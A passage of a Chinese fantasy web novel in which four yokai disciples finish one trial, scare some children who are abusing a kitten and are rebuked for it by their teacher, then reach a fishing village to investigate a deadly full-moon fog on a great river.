说到这，他抹了把鼻涕和眼泪，跪着调转了个方向面朝他爹娘：
“爹，娘，儿子不孝，自小好逸恶劳、一事无成，本还以不行恶事来宽慰自己的无能，事到如今，也不能再诓骗自己。三儿明白爹娘心善，定会自责。可我所行之事皆与爹娘无关，之后的下场也是我咎由自取……”
“三儿……”
“等我去了官府自首，全雷州都会知道我就是无形鬼，三儿只怕爹娘因此遭他人闲言碎语，还请收拾行囊，速速去京城投靠哥哥吧！”
张老夫人哭着说：“就是要走，也得等你判决后再走，若是你难逃一死，娘和你爹也好为你收尸……”
张三哭道：“你们快走吧，我不配当张家的鬼！”
“是爹不好……”张老爷抹眼泪，“要不是爹日日拿你与你哥哥比较，你也不会生了那样的心思，让妖果有机可乘……”
张三：“不，是我没用，是我辜负了爹娘的教导……”
“是爹错了，为人父母，应是孩子最亲近之人，若我们也不给你偏爱，你怎会不伤心、不埋怨……”
一家三口抱头痛哭。
南显成本想说，其实跟偏心不偏心没什么关系，人总是有欲望，有欲望就能被妖物催生，可看这三人现在哀哀戚戚的模样，又明白说什么也不重要了。
他摇摇头，回头看到谢珍珠和万情贞也在抹眼泪，胡和烈皱着眉头有些感慨，叶米站在边上，抱着胳膊敲手指，一张冷脸看着有些不耐烦。
他连忙转过去，朝张家人道：“三位还请节哀顺变，在下愿陪同张三前去官府，与他们解释事情的来龙去脉，或许还有一线生机。”
听他这么说，一家三口自然是感恩戴德地答应了。
四妖一人又带着张老夫妇，低调地带着张三去自首了，几妖知道官府里有许多规矩，便不乐意进去，说要在门口等，于是就南显成带着张家三人进了官府去办事。
见他们不见了踪影，叶米直接召唤出地图，几妖心里都很紧张，毕竟现在张三恢复了人性，他们杀也不好杀了，幸好幸好，总算在地图的“雷州”上看到了一个红色的“过”字。
谢珍珠和万情贞拍掌欢呼：“太好了，过关了！”
叶米也松了口气，露出一个笑来。
胡和烈在边上怼怼她胳膊，故意道：“幸好没杀了他，不然这关可过不了。”
叶米心情好，也没和他计较：“嗯。”
“这次多亏了南公子，”谢珍珠笑道，“如果不是他执意要帮张三恢复人性，我们可能早就把张三杀了。”
“多亏了他？”叶米一挑眉，“你是没看到昨晚是谁差点被拖下水死了？又是谁救了他们？”
“……最大功臣当然是叶米你啦！”谢珍珠急转话锋，讨好地抱住叶米的手臂
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，“南公子最多一个帮忙的作用，不过也是很重要的……人家是这个意思。”
“哼。”叶米这才舒服些，也没把她撇开，“既然过关了，那我们走吧。”
三妖又是一愣。
万情贞指指不远处的官府：“这、这就走啦？不看看张三最后死没死？还有南公子……我们不和他说一声吗？”
“你很好奇？”叶米猫脑袋一歪，体贴道，“好奇就留下看着吧，我先走了。”
万情贞：……
他连忙表示自己的忠心：“不不不，我一点都不好奇！”
“这些事哪有她的成仙之位重要？”胡和烈轻笑一声，把行囊甩到背上，转身迈开步子，“那走吧，路还远着呢。”
“叶米叶米，我也不好奇，走吧走吧~”
南显成匆匆从官府里出来，左顾右盼，一个熟悉的身影都瞧不见了。他正想着他们去哪了，是不是肚子饿了去吃饭了？正失魂落魄地着急时，鼻尖飘来一丝丝妖气，他转眼看见边上石狮子的鼻子上不合常理地顶着一个折起来的小纸条。
南显成将其打开一看，是一行漂亮的字：
“南公子，我们有要事先行一步，有缘再会。”
南显成将纸条收起，越过热闹的人间烟火遥遥望向远方，心下失神喃喃道：“有缘再会。”
他还有许多事情要做，比如为防止再出现张三的惨剧，他要找到那颗焕影树，将其封印……
*
雷州物众地大，四妖走了近两天，才走到雷州地界边上，再有两公里路就能出城。天色已黑，他们便决定先在城里的客栈好好休息一晚，毕竟出了雷州之后，还能不能寻个遮风避雨的地方睡就是未知数了。
这客栈没几个客人，为了省钱，掌柜干脆只在有客人的桌上点上一盏油灯，整个大堂昏暗得很，看着很有恐怖的氛围。
幸好四妖不是凡人，饭吃得照样很香。吃完之后，他们便打算上楼休息，刚起身却听见外头跑过一阵小孩的欢声笑语。叶米一愣，转头瞥了眼屋外，又面无表情地转了回来。
谢珍珠羡慕道：“小孩子真好，无忧无虑，不用考虑那么多……”
万情贞打了个哈欠：“我也喜欢写青梅竹马两小无猜的故事，哈——不过谁都会长大，孩童时光是最短暂的，其实他们快乐的主要原因是小孩的天真，他们的想法很简单……”
话音未落，几个小孩嬉皮笑脸地跑进客栈里，打破了客栈里沉寂的黑暗，谢珍珠被他们的笑容所感染，忍不住也笑了一下，却在看清一个小孩手上的东西时猛然僵住了嘴角。
“你们在干什么！”
她怒喝一声，吓了众人一跳。
叶米本不想理会他们，都走出了几步，闻声转头一看，只见谢珍珠挤进小孩之间，从地上抱起一个脖子上缠着一根粗麻绳的小猫，看着也就三四个月大小，拴着它的绳子比它的猫腿还粗，猫脸木讷，结痂的双眼翻白，瞧着奄奄一息。
53. 第 53 章
谢珍珠一边解绳子一边生气道：“你们怎么能欺凌弱小！”
其中一个小孩甲撇了下嘴，不服气道：“这就是只野猫罢了，又没人要，我们就是和它玩玩……”
小孩乙：“就是啊，你谁啊，凭什么管我们……”
万情贞也很气愤，双手叉腰充气势：“什么凭什么，你们爹娘不管，就别怪我们这些无关紧要的人管了！欺凌弱小本是不对，更何况你们还欺负这些幼小无知的小生灵，太顽劣了！你们知错没？”
几个小孩面面相觑，几颗溜来溜去的眼珠子似乎在默契沟通着什么，挤眉弄眼了一下，忽然齐齐转身往门口跑去。
“砰”的一声，他们的动作可没胡和烈快，只见他抱胸靠在门上，嘴角勾着冷笑：“孩子不听话怎么办？打一顿就好了。”
小孩甲有被吓到，但还梗着脖子逞强道：“你要是敢打我们，我爹娘不会放过你的！”
小孩乙：“他、他爹可壮实了，一只胳膊有你大腿那么粗！”
“嚯，”胡和烈欠揍地瑟缩了一下做出害怕的模样，“太吓人了，我好怕哦。”
几个小孩：……
小孩丙大叫：“那你们几个大人把我们困在这里，不也是欺负我们吗！”
“对啊对啊！”
胡和烈才不听他们瞎说：“小爷是好心在教你们做人，怎么算欺负？凡人都说棍棒底下出孝子，瞧你们这不孝的模样，看来是棍棒挨少了。”
几个小孩：……
“喂，看在你们年纪小不懂事的份上，我们不会为难你们。”万情贞见胡和烈唱黑脸，他就开始唱白脸，“但是你们必须认识到自己的错误，跟这只小猫诚心认错，还有，发誓以后再也不恃强凌弱！”
“跟这只野猫诚心认错？”小孩甲仿佛听到什么天方夜谭，表情古怪，“传出去别人会笑话我的。”
“这有什么好笑话的？”谢珍珠手上小心地捧着幼猫，气急败坏道，“难道不是欺凌弱小更令人不齿？”
小孩丙也受不了了：“欺凌弱小欺凌弱小……你们说得太过分了吧？这只是只猫，又不是人，这些猫啊狗的懂什么欺负不欺负的啊？！”
谢珍珠：“你……”
“他们说的没错。”边上冷冷一声打断她的愤怒，谢珍珠茫然回头，看见叶米抱着胸站在那，脸上带着一丝很浅的微笑，她居然说，“对于强者而言，自上而下的欺辱都是再正常不过的事，就像人吃牛，牛吃草，何必要考虑牛和草的感受？”
三妖都是一愣，哪怕知道她说得不是这么回事，但一时不知如何反驳，更是为她突如其来的“背刺”感到诧异。
那几个小孩对视一眼，有人见有人帮他们说话，还嘚瑟道：“还、还是这个大姐聪明！就是这个道理嘛……哈哈哈……啊！！”
可还没等他们笑得更开心一点，嗓子不受控制地一转，变成了声声凄厉的惨叫，只见几个小孩忽然被拎到了空中，像是有一根无形的绳子挂在他们脖子上似的，小孩们痛苦地想要在自己的脖子上扒拉着什么，但什么都没有。
三妖大惊失色地看向叶米。
叶米谁都没看，只是盯着客栈门外深不见底的夜色，语气欣然：“恃强凌弱、胜者生存……这个世界从来是这样的，你们小小年纪就懂了这么大的道理，真是难得。那么……像你们这样的弱者被我这只猫妖如此欺凌，心里应是很服气的吧？”
小孩们在空中蹬着腿，徒劳地扒拉着自己空无一物的脖子，极度害怕地看着猫，刚刚的嚣张气焰不知跑哪去了：“你、你是妖怪……求、求求你……放过我……”
“我错了，我、我知道错了……”
“神……神仙大人，饶命啊……”
叶米没理他们，只是看着谢珍珠手中奄奄一息的幼猫，喃喃道：“这么弱小的东西，其实到哪都死的很容易。”
“叶米，你不能杀他们。”谢珍珠一会儿看那几个小孩，一会儿又看叶米，心里真是急死了，“你把他们放下来好不好……”
万情贞也跑过来劝：“猫大人，你要是杀了他们，我这记分簿上要怎么记啊，你还是把他们放了吧！”
胡和烈皱着眉头，盯着那些扑腾的小孩，面色微微紧张，生怕一眨眼就死了一个，那真是不妙了：“喂，叶米……”
“叶米，你好大的胆子！”
忽而一阵风来，吊在空中的几个小孩惊叫一声坠落而下，不过并没有摔得四脚朝天，而是稳稳当当地落地了。好不容易自由，他们哪敢多待，鼻涕眼泪都来不及擦，赶紧跑路离开了客栈。
几妖回头一看，树法祖师站在一盏油灯边上，花白的胡子被照得黄亮亮的。
“师父……”
“叶米，”树法祖师蹙眉看着那朝自己礼貌拱手问好的猫妖，语气严肃，“若是为师不来，你打算如何？”
叶米还没说话，谢珍珠连忙道：“师父，叶米没有想杀他们，只是吓唬吓唬这几个坏小孩，给他们一点教训……”
“是啊树法祖师，”万情贞用眼神示意那只躺在桌上的幼猫，“你看他们多过分，这小猫都快被他们折磨死了！”
胡和烈撇了下嘴：“师父，也不是没跟他们好言相劝过，他们不听，还说要找谁的爹来揍我，这小孩才多大，就学会狗仗人势了，这不得好好教训一下啊？”
“行了！”树法祖师叹出口气，“叶米，为师在问你的话。”
叶米也叹了口气，很是乖巧道：“师父，要是我真想杀人……他们哪还活得到您来救？”
那是这么个道理。
“唉……”树法祖师摇摇头，将叶米脸上不为所动的表情尽收眼底，“这些孩子尚且年幼不懂事，是该好好引导，可……可不能以暴制暴啊。”
叶米说：“学生愚昧，想不到更好的办法。”
树法祖师：……
他心说自己大把年纪了，也教过不少学生，怎么这一届这么难带呢，真是糟心：“为师今日来，本是要嘉奖你们雷州一关过得不错，没想到却让我撞见了这场闹剧……叶米，你心中明白，也自知有错
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，我现在要扣你的分，你认不认？”
扣分？
三妖面面相觑，脸色都不太好看。
最不好看的当然是叶米了，但她表现得还是很稳当的：“学生认或不认难道能改变师父扣分的决心？何须多问这一句。不过此事都是叶米一妖所为，与其他妖无关。”
“好，”树法祖师一甩浮尘，“万情贞，你都听到了？”
万情贞：我真的是……
“听听听到了。”
“你可要公正廉明，该扣几分扣几分。”
万情贞倒吸一口冷气：“万情贞明白。”
树法祖师最后扫过几张各有所思的脸，最后在那只奄奄一息的幼猫身上凝滞了一会，长长叹出一口欲说还休的气，最后还是没说，白光一闪，消失不见了。
众妖都松了口气，谢珍珠一转眼睛，惊呼：“小猫呢？”
胡和烈瞥了眼空无一物的桌子：“估计是被师父带走了，至少捡回了一条命。”
谢珍珠松了口气。
“猫大人……”万情贞支支吾吾，“这个扣分的事……”
叶米看着也不生气：“不用在意我，该怎么扣怎么扣。”
“可是……”万情贞扭扭捏捏，“唉，虽然刚刚猫大人你是过分了些，但也不至于扣分吧……你挣点分也不容易，为了这点小事就……唉。”
“你想说什么？”
“我是想说，”万情贞犹犹豫豫，“以后咱不能收敛点吗？好不容易过关拿点分数，因这些破事扣分，多冤枉啊。”
话说完，他小心地瞥了眼叶米，觉得她是不是要说“你在教我做事？”什么的，万情贞心想我也是好心啊，如果猫大人这么说他会有些伤心的……
“知道了。”
没想到却是这样的回答，万情贞诧异地揉揉耳朵，抬眼看向叶米，只瞧见她往外边走：“猫大人，你要去哪啊？”
“不是去杀人。”
她撂下这一句就不见了。
三妖面面相觑，心情都有些低落，本来过了关老开心的，结果出了这一茬……算了，事已至此，还能咋地。
胡和烈找到叶米，发现她正蹲在地上做什么，走近一看猫在地上刨坑，坑里头有两具幼猫的尸体，看着和刚刚那只差不多大，瘦骨嶙峋的。
猫在埋猫尸……
胡和烈感到说不分明的情绪，默了一会，不知道该说什么：“这两只……和刚刚的那只是同一窝的？”
叶米：“不知道。”
“大猫呢？”
“不知道。”
“……它们是怎么死的？”
“不知道。”
真是一问三不知，胡和烈瘪了瘪嘴：“……没想到你还怪好心的，帮这些陌生猫埋尸。”
“怎么说也是我的同类。”叶米把土扒拉进坑里，慢慢填平，“要说我好心，如果这里是两具人尸，我才懒得理。”
“你管这叫同类啊，”胡和烈看着她蹲着的头顶，“你是妖，它们只是普通的猫。”
54. 第 54 章
叶米把土压严实：“你以为我是你吗，一出生就是妖精？”
“哦……难怪。”胡和烈恍然想起来，她是靠机遇成精的，本来也只是只普通的猫罢了，怪不得说自己是同类，“原来你刚刚很生气。”
叶米拍拍手站起来：“我要是还跟这些小孩生气，那真是没本事了。不过是给他们一点小教训，是你们大惊小怪。”
小教训？
“对，”胡和烈翻了个白眼，“我怎么忘了，对你来说，只要不死都是小事。”
“哼。”叶米轻笑一声，转头打量他，“你跟来做什么？怕我去杀人？”
“……我就出来随便逛逛，谁知道碰见你了。”
叶米懒得拆穿他，转身离开：“那你继续，我回去了。”
“喂。”
叶米没回头：“不认识喂。”
“……我是要说，”胡和烈追上几步，跟在她后头说，“你之前说的话还是有几分道理的。”
叶米莫名其妙：“我哪一句话没道理？”
“就是那句‘凡人见到野猫不屑一顾，见到猫妖就会屁滚尿流，却胆战心惊地尊称猫妖为猫仙……’你是这么说的吧？”胡和烈看着脚走路，“还真是这样，连小孩都是这样……你是怎么知道的？”
叶米说：“你在人间待几年也会知道，人类就是这样虚伪、恶心。”
“……也是有好人的，就像妖也分好坏。”
“他们的好并不惠及我，对我来说就是无用的。”
“你……”
她为什么这么讨厌人类？她明明也有些善心……虽然只用在了“同类”身上，可是为什么？胡和烈心下诧异，很想问又觉得没和她相熟到可以追问的地步，便只能看着她冷淡的背影，压下好奇心。
隔日一早，几妖调整好状态，用过早膳后准备出发。
叶米召唤出地图，发现前方道路上有一条宽阔的大河，上头写着“莱茵河”三字，猫眼衡量了一下这河在地图上的宽度，很快就在脑中转化了一下，之后脸色都难看了几分。
偏偏这条河几乎横穿了整个地图，绕也绕不过去。
“莱茵河？”万情贞摸摸下巴，思索道，“传说这条河是由观音大士的一滴泪幻化而成。”
“观音娘娘的泪？”谢珍珠天真一笑，“娘娘慈悲，既然如此，这河应是很好过的吧？”
万情贞点点头，又摇摇头：“寻常时候是好过的，风平浪静，船只都能顺风而行。但每逢圆月，河上会升起弥漫的水雾，进入此中的人，十个有九个回不来。”
胡和烈眉头一挑：“这雾中是有什么妖怪？”
万情贞摇摇头：“这我就不清楚了。”
叶米思酌了一下：“没听过在河上…还只在月圆之夜才会出来的妖怪，我看是什么在圆月时才会触发的阵法。”
“叶米说得有理。”胡和烈颔首，“不过也好办，只要我们不在十五十六过河就行……对了，现在是何月何日？”
谢珍珠咽了下口水：“今日是……十三。”
大家都沉默了一下，忽然感受到命运的安排，但心中不免有逃避的心思，众妖支支吾吾地对了几个眼神，难得体会到彼此之间的默契。
最后还是叶米说：“不管何时过河，先走吧。”
“好……”
出了雷州，走了半日，天上忽然下起雨来，雨滴虽不大，但也不是飘渺细雨，落在身上很有实感。
叶米虽化了人形，但总觉得浑身不得劲，毛发都被打湿了似的；胡和烈也没好到哪去，时不时挠挠背部，心情非常低落；只有螃蟹精好高兴啊，还像傻子似的在雨中转啊转啊，变出蟹钳洗洗刷刷。
路遇一条开了荷花的小溪，谢珍珠好心地下水摘了几片大荷叶给小伙伴们遮雨。
三妖头顶着荷叶走了好一会，脑袋被雨水的滴滴答答弄得头昏脑涨，好不容易碰到一个小亭子，赶紧进去避雨。
“唉……”万情贞脱下外衣甩了甩，“这雨一下，半日的路程就要走一日了，看来我们真的赶不及在十五之前过莱茵河。”
见叶米用法术把自己的衣服烘干，他连忙笑嘻嘻地凑过去：“猫大人，你帮帮忙。”
叶米顺手帮了个忙。
谢珍珠心情好，咧着笑道：“那不如就多等两日，十七再过河？”
“哪有这么简单，要是老天偏要我们过，那就得十五十六过。”胡和烈弄干了衣物，往边上的石椅上一坐，眉心放不开，“我总有些不好的预感。”
万情贞还没意识到事情严重性，脸上笑嘻嘻的：“嘿嘿，胡大哥，你不是有些害怕？”
胡和烈看他贱兮兮的模样，一下气笑了：“别怪我没提醒你们，我和叶米在水里的法力是要折半的，若是在莱茵河里出了事，保全自身兴许不是问题，救不救得了你俩那就看天意了。”
万情贞：！
谢珍珠：！
他们看向叶米，似乎在寻求一个否认，可叶米也微微笑着点了点头：“他说得不错。”
两妖大惊失色。
万情贞还质问谢珍珠：“那你呢？你是螃蟹，到了水里会不会厉害些？”
谢珍珠也不嘻嘻了：“我在水里是自在些，可我本来也不厉害，怎么弥补得了叶米和胡大哥的折半的法力啊！”
“不行不行，”书灵焦虑地打起转来，“那我们绝对不能在月圆之时过河！打不过……难道还躲不过m……”
他话音还未落呢，忽地眼前白光一闪，方寸大的小亭子之中，元善老祖就这么水灵灵地出现了。
万情贞：O.O？
几妖站起来行礼：“师父。”
“免礼免礼，”元善老祖笑呵呵的，瞅了眼外边的天色，点点头道，“这雨一下，天气要转凉一些了，你们可要注意添衣，小心受寒了。”
“多谢师父关心。”叶米道，“不知师父这次来所为何事？”
元善老祖的手往小亭子外、路的那一边轻轻一点，目光遥遥：“顺着这条路走下去，你们会遇见一个小渔村，这村落以捕捞莱茵河中的鱼虾为生。
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不过奇怪的是……”
万情贞苦着脸捂住耳朵，已经不想听了。
“……奇怪的是，每逢月圆之日，河上便会飘起密不透光的雾气，进入其中的人十有八九会失去行踪，实在是古怪得很。为师想要你们查清楚这迷雾之下的真相，还莱茵河一片安宁。”
谢珍珠耷拉着眉眼，小声说：“师父，您不是说月有盈缺、潮有涨落，浮浮沉沉方为太平嘛，说实话这也不算浮浮沉沉，一月不就两日过不了河，有什么大不了的呢？”
“你这孩子，就找借口的时候道理多。”元善老祖道，“你可有想过，若是有人有要紧事，偏要在这两日过河，那该如何是好？就算只是少数人，难道就能坦然地置之不理了？”
元善老祖摸摸胡须，感受到雨天的潮湿：“救上万人是救，救一人也是救，两者并无差别。”
“师父，叶米请教，”叶米举手，“若是救上万人和救一人只能择其一，该如何选？”
“哈哈哈……”元善老祖仿佛不知道学生在偷摸摸地为难他，还笑道，“为师的答案并非是你的答案，若是我轻易说了，之后你照我说的做，反而才是错了。叶米，这问题你该问你自己……不只叶米，你们也是。”
几妖面面相觑。
元善老祖又嘱咐了一句“万事小心，天寒添衣”什么的，便离开了。
万情贞和谢珍珠简直要哭了，本来笑得挺开心的，这会嘴角差点要耷拉到地上，两人绕来绕去的，急得团团转。
叶米和胡和烈倒是轻松自在了许多，他们二妖本就觉得避不过在十五六过河的事，这下坐实了，反倒少了那些犹豫和纠结，选择要不要直面困难有时候比直面困难更难。
胡和烈还欠揍地说：“这不还有两日吗，你俩抓紧准备，抱佛腿求菩萨，指不定有些效果，哈哈哈！”
二妖：……
叶米倒是真心安慰了几句：“既然是师父指定的难关，便不至于死妖，不必这么忧心。”
二妖：……又来了，不死就是小事。
事情就是这么个事情，再忧心也得过关，再不情愿明日还会到来。四妖修整过后继续上路，走走停停躲躲雨，终于在十四日的晚上到了莱茵河边上的小渔村，莱茵村。
夜色已深，一场雨刚停，整个村庄湿漉漉的，走在地上是踩水的踏踏声，路边上人家的窗户里，传出湿重的黄色灯光，像熟烂的金果。
“我们来得太晚了……”谢珍珠压低声音道，“村里的人都回家中歇息了，也寻不到一个人问哪里有客栈。”
“往下走吧。”叶米道，“不过是个小村，走到底就知道了。”
不幸的是找了一圈没找到，几妖都不想席地而睡，主要是下了雨，哪里都不干净。还是万情贞说：“既然这莱茵河是观音娘娘的眼泪所化，这附近定有观音庙，我们去村外找找？”
胡和烈拍拍他肩膀夸他聪明。
叶米懒得再走：“庙宇的建筑与寻常房屋不同，我飞上去看看。”
谢珍珠：“当心啊~”
55. 第 55 章
万情贞说得不错，在村外一处走向莱茵河的路上，确实建了一座观音庙，知道了方位，几妖兴致勃勃地往那处走，不过一炷香时间便到了庙宇门口，发现这庙的周遭还挺干净，没有杂草，辟出的一条路虽有些泥泞，但路径宽敞平顺。
进了庙中，虽说墙上柱子上已有褪色脱墙皮的陈旧，可里头很是整洁，供桌上也摆着不少鲜花水果，还有未烧尽的香火。看得出来村民们供奉观音的诚心。
叶米拜了拜正中央的观音像，见此像脚踏鳌背，手提鱼篮，衣着像普通的民间妇女，便了然道：“原来是鱼篮观音法相。”
“渔村好像都喜欢供这尊法相，”谢珍珠也拜拜，“我家附近就是。许多人见娘娘竹篮里有一条鱼，还以为是专门保佑捕鱼的呢，哈哈哈，其实只是故事发生在一个渔村里，娘娘为了点化凡人，化身为卖鱼的女子罢了。”
万情贞摸摸肚子，眼睛看着桌上的供品：“娘娘无处不在，渡世间万物，保佑捕鱼也成啊。嘿嘿，就像我现在肚子饿了，她肯定也不会介意请我吃点……”
“欸。”胡和烈阻止他，“你现在吃了，明早那些村民过来怎么解释？我看这些村民供奉得很是诚心，怕是有许多规矩。”
“是啊万情贞，”谢珍珠也说，“没人来就算了，有人的话还是知会一声，不然那些村民要是怪罪我们，我们也不好解释啊。”
叶米想到什么：“凡人的胡搅蛮缠我可不想再体会。”
万情贞从来是很听劝的，恋恋不舍地瞥了眼飘着香的果子，失落道：“好吧，反正我们还有些干粮。”
堂屋边上有一间小小的寮房，里边有两张简陋的木床，上边有铺好的褥子和叠得整齐的薄衾。
四妖没有睡床的必要，不过这寮房里头倒是更暖和干净一些，用过干粮简单填饱肚子之后，便随处找块地窝下睡去了，谁都没碰床，估计是觉得明早起来叠被褥麻烦。
夜半时又下了场大雨，叶米被雨声吵醒，不知是什么时辰，走到堂屋推开门，扑面而来湿凉的带雨的风，确实和师父说的一样，天在转寒。把门关好，叶米回头瞧见鱼篮观音像，心下觉得一片宁静，连雨声都不那么烦躁了。
隔日一早，屋外的鸟鸣声唤醒了几妖，天色透过窗，照亮了整个寮房。
他们懒懒散散地起床收拾好，顶着饿慌了的肚子商议了一下，决定回去那个渔村吃点热乎的，然后再去搞艘船过河。
这小村落早早地醒来了，已经有了许多人气，走到村口就能闻见里边传来的暖暖的米面香，进村一看，这村里还有不少人嘞，一大早就好热闹，不过再仔细看看，有许多人带着行囊，身上的穿着也不像这村的本地人。
“老板，你们这村好多外地人啊。”四妖在一家面摊前点东西吃，万情贞熟络地和煮面的老板唠嗑。
老板笑道：“是啊，多是要过河的人，莱茵河这么宽，没处绕路，只得坐我们村的渔船走。”
“老板来一碗细面，”谢珍珠说，“那怎么没几间客栈呢？我们昨晚来了都没找着。”
“你们定是来晚了，我们村歇得早，客栈住满了就关了，而且二更不过就要歇息。村里人要早起去捕鱼，过路人要早起过河。”老板手上动作不停，“莱茵河上天一黑就什么都瞧不见了，就是风平浪静的日子，也是很骇人的。”
什么都瞧不见……
四妖面面相觑，胡和烈问：“今日有过河的船吗？”
老板眉头一挑：“嚯，今日可是十五！”
叶米：“没有？”
“有啊，不过能上船的人数有限，几位要是想过河，吃了面赶紧去河边的圆月码头排队吧。”老板给四碗面浇上肉臊，“几位里边请，店里人多，不介意拼桌吧？”
“不介意。”
拼桌总比没地方坐好，四妖捧着面碗进了店里，发现店里确实有不少客人，每一桌上都有人，有一个小二带他们往里边走，还没走到底就有客人叫他，他只好指着前边说：“最里边有一桌只有一位客人，四位客人将就着坐哈！”
四妖便继续往里边走，果真瞧见一个只坐了一个人的方桌，那人背对着几人在吃面，坐姿端正，背脊很直，穿着一身普通的灰蓝色圆领窄袖衫，头发全然束起在幞头下。
四妖默契地愣了一下。
那人似有所感地回过头来，本是淡然的脸上忽地绽放出一个欣喜的笑容，他站起来道：“叶……几位，又见面了，好巧。”
这才分开没两天呢！
谢珍珠在后边小声惊讶：“大路朝天，雷州出来这么多路，渔村里这么多早膳店，店里这么多位置……这都能碰到啊？”
万情贞也是惊了：“天那，原来这就是天赐姻缘的……”厉害之处。
胡和烈也说：“……有点邪门。”
叶米哪里没听见他们的咬耳朵，不过她倒是没多大反应，朝着南显成点了点头当是问好，捧着面碗就坐下来吃了。
南显成朝她笑了笑，又和三妖道：“几位请坐，不必在意我，我快吃好了。”
那当事妖都无所谓，他们还纠结啥呢，赶紧着就坐下了。
万情贞一边吃一边问他怎么会出现在这里，南显成道：“我封印了焕影树之后，正巧收到师父的来信，他命我调查莱茵河圆月之时会出现迷雾的事。我看着马上就是十五十六了，便连夜从雷州赶来……其实今早才到。”
这么说着，他忽然意识道什么，抿着唇笑了一下：“瞧我，风尘仆仆的，连衣裳都未换……让几位见笑了。”
几妖不在意他是风尘仆仆还是干干净净，更在意的是他也要调查莱茵河迷雾的事，胡和烈道：“你一介凡人，到时掉入河中怎么办？别怪我们没提醒你，进入河中我与叶米的法力会减弱，只怕顾不上你。”
南显成听懂他话里的意思，连忙道：“在下有避水珠，可
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在水下自在活动十二时辰。原来几位也是为迷雾一事而来，不只可否让我与几位一道同行？”
“我觉得成！”万情贞从面碗里抬起头来，有些哀求地朝叶米道，“猫大人，多一人多一分照应嘛……”
谢珍珠也可怜巴巴地看猫。
叶米虽觉得师父颁布的任务不会有太大危险，可这两只小妖确实法力低微，再加上她和胡和烈在水下有所不便，这两日她心里隐隐也有些担心，如今确实是多个人多分照应……
于是她微微颔首：“好。”
“哦耶！”
欢呼过后，万情贞咬着面又回过神来，给谢珍珠使眼色，脑子里传小话：“欸欸，你有没有觉得猫大人最近很好说话？”
谢珍珠偷偷瞥了眼猫，点点头：“叶米肯定是为了我们好，怕我们遇到危险。”
万情贞：“可能是这样，还有没有可能是因为来的人是南显成啊？”
“那你问问她。”
“我这不找死吗！”
“叶米怎么会杀你？”
“我不是这意思……”
叶米抱着胸看着两妖很明显地在用传心术说小话，她懒得进去听是怎么回事，大概也能猜到：“吃好没？”
两妖连忙端正坐姿，万分心虚：“吃好了！”
用过早膳，四妖一人便往莱茵河的圆月码头走去，路上他们打听了一些消息，关于这十五六也能运行的船是怎么回事。
原来是一年前，有一渔夫捕鱼时捕到一只会说话的金色鲤鱼，渔夫见它开了灵智，便将它放生入河中，鲤鱼见渔夫心善，就说自己是某条小河的龙王之子，因贪玩来到了莱茵河，没想到这河里有许多古怪，他意外失去了法力。
鲤鱼问渔夫有无什么愿望，等他之后恢复了法力便会回来帮他实现，渔夫就说想要解决莱茵河月圆之时不能过河的事，鲤鱼应下之后便甩尾离去。
不过多久，渔夫做了一个梦，梦见了那只自己放生的鲤鱼，鲤鱼说自己法力低微，无法解决莱茵河迷雾之事，不过它请求了龙王的帮助，可以送他一艘有龙王神力庇护的渔船，坐此船可在圆月之时顺利渡河。
渔夫按照鲤鱼的指示来到一个废弃的码头边上，果真瞧见了一艘崭新的渔船，正巧那日是十五，他便大胆地坐船过河，没想到真的安然无恙地在十六回来了。
再说这渔夫是个心善之人，他知道村里有许多过路人有要紧之事，难等十五十六两日，便决定一月就做两日的船夫，在十五十六日为要渡河的行人撑船，那艘船后被村民们叫做圆月船，开船的码头便是圆月码头。
不过因为莱茵河太过宽阔，就是一大早出发，回来时也会赶上天黑，天黑不便行船，所以一般是十五过去，十六回来，就这么一来一回两趟。非有要紧事之人，船满员时便不能渡河。
“原来如此。”听完故事，万情贞点点头道，“怪不得还要排队呢。”
56. 第 56 章
“几位不知是为了什么要紧事过河？”同他们说这故事的村民好奇道，“若是非常紧急，可以问我们村的村民要上船名额。”
叶米忽地笑了一声：“可需要银两？”
“哈哈哈！”那村民笑道，“先前是需要的，一时之间，许多无事之人也起早贪黑地排队，只为了宰那些急着过河的人的钱，不过后来被何大哥知道了此事，他分外生气，说自己开船是为了给大家行方便，不是为了赚黑心钱，若是再有这样的事，他就要封船，可把大家吓坏了，自那之后便不再有此事。”
何大哥就是故事中的渔夫。
谢珍珠听得直点头：“这位何大哥真是个好人！”
村民：“那可不是？欸，前边就是圆月码头了。”
他们沿着莱茵河走，这条河确实宽阔无边，一眼望去瞧不见边际，只有水天一线。水声哗哗，近岸处有些泥色的浑浊，越远越澄澈。岸边隔着一段就有停着船的空荡码头，现在都没人。
圆月码头在河岸线最远处，这会儿已经排了长队，目测有二三十人。村民嘟囔着“好像来晚了些”，倒是依旧不紧不慢地走着。
走得近了一些，叶米就瞧见那艘已经有些破旧的渔船，看大小大概能容纳十几人，当然她看的重点不在这，而是在笼罩着渔船的一层薄薄的、散着金光的神力屏障上。
万情贞凑过来说：“猫大人，那艘船上果真有龙王神力！”
叶米点了点头，又听胡和烈说：“太稀薄了，我两招就能击破。”
谢珍珠仔细打量了一会：“这艘船已经用了一年，只怕是被那迷雾中的古怪削弱得差不多了，只怕用不了几次。”
叶米微微摇了摇头：“这次也够呛。”
“竟是这样。”南显成的眉头就这么皱了起来，他看了看排了长队的队伍，斟酌道，“一年也不过来回共二十四次，仅是这样就让龙王神力削弱至此，看来那迷雾之下危机四伏，到时我们不一定能护住船上的百姓……”
“不行，不能让他们上船。”南显成看向叶米，“叶姑娘，我去找那位何大哥说明此事。”
“好。”
这会还没开船，排队的人悠哉悠哉地聊起天来，一人说“幸好还有这艘圆月船能过河，不然我就赶不及回家参加我儿的婚宴了”，一人又说“是啊是啊，我们村的人都对何大哥感恩戴德”。
又有人道：“不过我听闻上次渡河时，驶入迷雾中后河面波涛汹涌，差点要翻船了！”
“当时我就在船上，何大哥面色也不好看，好像是说先前从未有这般情况。”
“哪是从未有过，在有这圆月船之前，十五十六渡河的船就常常翻船啊！到最后回来的就只有一艘空船，最多一两个活着的人！那活着的人就说入了迷雾会翻船，你们说这……”
“嘶……那你这意思是，圆月船也快……”
“嘘！乌鸦嘴！”
……
四妖互相看了看，都明白对方心里的想法，这些村民的话无疑证实了他们刚刚的猜测——龙王神力快无法护住船只了。
这时候，人群中有人喊了一声：“欸，何大哥！是不是能上船了？”
叶米闻言望去，只见南显成带着一个四五十岁的中年男人从船上下来，那男人皮肤黝黑，方正的脸上神色有些严肃，听到有人叫他，扬起一个勉强的微笑，挥挥手说：“唉，还没、还没……”
南显成朝他们招手，几妖就走过去，二人四妖寻了个离人群远一些的地方说话。
